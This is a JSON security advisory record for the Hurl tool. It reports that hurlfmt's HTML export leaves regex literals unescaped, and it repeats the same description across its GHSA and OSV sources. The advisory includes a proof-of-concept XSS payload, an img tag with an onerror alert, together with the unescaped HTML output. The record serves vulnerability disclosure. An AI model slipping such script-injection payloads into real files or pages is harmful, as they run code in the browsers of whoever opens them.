{"id":"GHSA-v33j-v3x4-42qg","aliases":[],"status":"published","title":"Regex literal in Hurl files are not escaped when exported to HTML, allowing injections","description":"Given this Hurl file:\n\nregex.hurl:\n\n```\nGET https://foo.com\nHTTP 200\n[Asserts]\njsonpath \"$.body\" matches /\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/\n```\n\nWhen exported to HTML:\n\n```\n$ hurlfmt --out html regex.hurl\n\u003cpre\u003e\u003ccode class=\"language-hurl\"\u003e\u003cspan class=\"hurl-entry\"\u003e\u003cspan class=\"request\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"method\"\u003eGET\u003c/span\u003e \u003cspan class=\"url\"\u003ehttps://foo.com\u003c/span\u003e\u003c/span\u003e\n\u003c/span\u003e\u003cspan class=\"response\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"version\"\u003eHTTP\u003c/span\u003e \u003cspan class=\"number\"\u003e200\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\"line\"\u003e\u003cspan class=\"section-header\"\u003e[Asserts]\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\"line\"\u003e\u003cspan class=\"query-type\"\u003ejsonpath\u003c/span\u003e \u003cspan class=\"string\"\u003e\"$.body\"\u003c/span\u003e \u003cspan class=\"predicate-type\"\u003ematches\u003c/span\u003e \u003cspan class=\"regex\"\u003e/\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/\u003c/span\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\n```\n\nThe regex literal `/\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/` is not escaped:\n\n`\u003cspan class=\"regex\"\u003e/\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/\u003c/span\u003e\u003c/span\u003e`\n\nWhen opened in a browser, the code is run without user interaction:\n\n![regex](https://github.com/user-attachments/assets/9c20a2ff-900f-4420-b38b-1e7648749119)","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"published":"2025-06-11T14:46:37Z","modified":"2025-06-11T14:46:39Z","fixes":[{"ecosystem":"crates.io","package":"hurl","fixed_in":["7.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"hurl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"6.1.1"},{"fixed":"7.0.0"}]}]},{"source":"osv","ecosystem":"crates.io","package":"hurl","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"7.0.0"}]}]}],"references":[{"url":"https://github.com/Orange-OpenSource/hurl/security/advisories/GHSA-v33j-v3x4-42qg","tags":["web"]},{"url":"https://github.com/Orange-OpenSource/hurl/commit/248ac41cfa1797c52241c6ef756490d90027cdf2","tags":["web"]},{"url":"https://github.com/Orange-OpenSource/hurl/commit/7dcdbd1796785392b1e829d1f07c6687b9a8f27d","tags":["web"]},{"url":"https://github.com/advisories/GHSA-v33j-v3x4-42qg"},{"url":"https://github.com/Orange-OpenSource/hurl","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-v33j-v3x4-42qg","title":"Regex literal in Hurl files are not escaped when exported to HTML, allowing injections","description":"Given this Hurl file:\n\nregex.hurl:\n\n```\nGET https://foo.com\nHTTP 200\n[Asserts]\njsonpath \"$.body\" matches /\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/\n```\n\nWhen exported to HTML:\n\n```\n$ hurlfmt --out html regex.hurl\n\u003cpre\u003e\u003ccode class=\"language-hurl\"\u003e\u003cspan class=\"hurl-entry\"\u003e\u003cspan class=\"request\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"method\"\u003eGET\u003c/span\u003e \u003cspan class=\"url\"\u003ehttps://foo.com\u003c/span\u003e\u003c/span\u003e\n\u003c/span\u003e\u003cspan class=\"response\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"version\"\u003eHTTP\u003c/span\u003e \u003cspan class=\"number\"\u003e200\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\"line\"\u003e\u003cspan class=\"section-header\"\u003e[Asserts]\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\"line\"\u003e\u003cspan class=\"query-type\"\u003ejsonpath\u003c/span\u003e \u003cspan class=\"string\"\u003e\"$.body\"\u003c/span\u003e \u003cspan class=\"predicate-type\"\u003ematches\u003c/span\u003e \u003cspan class=\"regex\"\u003e/\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/\u003c/span\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\n```\n\nThe regex literal `/\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/` is not escaped:\n\n`\u003cspan class=\"regex\"\u003e/\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/\u003c/span\u003e\u003c/span\u003e`\n\nWhen opened in a browser, the code is run without user interaction:\n\n![regex](https://github.com/user-attachments/assets/9c20a2ff-900f-4420-b38b-1e7648749119)","status":"published","published":"2025-06-11T14:46:37Z","modified":"2025-06-11T14:46:39Z","updated_at":"2026-11-02T14:38:46.901955Z"}],"osv":[{"id":"GHSA-v33j-v3x4-42qg","title":"Regex literal in Hurl files are not escaped when exported to HTML, allowing injections","description":"Given this Hurl file:\n\nregex.hurl:\n\n```\nGET https://foo.com\nHTTP 200\n[Asserts]\njsonpath \"$.body\" matches /\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/\n```\n\nWhen exported to HTML:\n\n```\n$ hurlfmt --out html regex.hurl\n\u003cpre\u003e\u003ccode class=\"language-hurl\"\u003e\u003cspan class=\"hurl-entry\"\u003e\u003cspan class=\"request\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"method\"\u003eGET\u003c/span\u003e \u003cspan class=\"url\"\u003ehttps://foo.com\u003c/span\u003e\u003c/span\u003e\n\u003c/span\u003e\u003cspan class=\"response\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"version\"\u003eHTTP\u003c/span\u003e \u003cspan class=\"number\"\u003e200\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\"line\"\u003e\u003cspan class=\"section-header\"\u003e[Asserts]\u003c/span\u003e\u003c/span\u003e\n\u003cspan class=\"line\"\u003e\u003cspan class=\"query-type\"\u003ejsonpath\u003c/span\u003e \u003cspan class=\"string\"\u003e\"$.body\"\u003c/span\u003e \u003cspan class=\"predicate-type\"\u003ematches\u003c/span\u003e \u003cspan class=\"regex\"\u003e/\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/\u003c/span\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\n```\n\nThe regex literal `/\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/` is not escaped:\n\n`\u003cspan class=\"regex\"\u003e/\u003cimg src=\"\" onerror=\"alert('Hi!')\"\u003e/\u003c/span\u003e\u003c/span\u003e`\n\nWhen opened in a browser, the code is run without user interaction:\n\n![regex](https://github.com/user-attachments/assets/9c20a2ff-900f-4420-b38b-1e7648749119)","status":"published","published":"2025-06-11T14:46:37Z","modified":"2025-06-11T14:46:37Z","updated_at":"2026-11-02T15:46:56.639206Z"}]}}
